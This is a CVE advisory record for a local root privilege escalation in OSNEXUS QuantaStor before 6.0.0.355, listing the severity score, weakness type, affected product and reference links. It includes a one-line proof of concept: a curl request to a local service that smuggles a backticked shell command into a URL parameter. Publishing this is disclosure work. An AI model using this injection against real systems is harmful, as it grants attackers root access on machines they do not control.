CVE-2021-42082
Local Privilege Escalation to root in OSNEXUS QuantaStor before 6.0.0.355
- State
- Published
- Severity
- 7.8 High
- Published
- Jul 10, 2023
- Updated
- Sep 22, 2025
- Reserved
- Oct 7, 2021
Description
Local users are able to execute scripts under root privileges.
POC
On the local host run the following command:
curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'
Scores
| CVSS | Score | Vector | Source |
|---|---|---|---|
| 3.1 | 7.8 High | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H | DIVD |
Weaknesses
- CWE-269 Improper Privilege Management
Affected Products
| Product | Versions |
|---|---|
QuantaStorOSNEXUS |
|
References
- https://www.wbsec.nl/osnexusthird-party-advisorytechnical-descriptionexploit
- https://csirt.divd.nl/DIVD-2021-00020/third-party-advisory
- https://www.osnexus.com/products/software-defined-storageproduct
- https://csirt.divd.nl/CVE-2021-42082third-party-advisorytechnical-descriptionexploit
- https://www.divd.nl/DIVD-2021-00020third-party-advisory
Every record here comes from the CVE Program’s CVE List. © 1999–2026 The MITRE Corporation. CVE is a registered trademark of The MITRE Corporation. The records are reproduced under the CVE Program terms of use.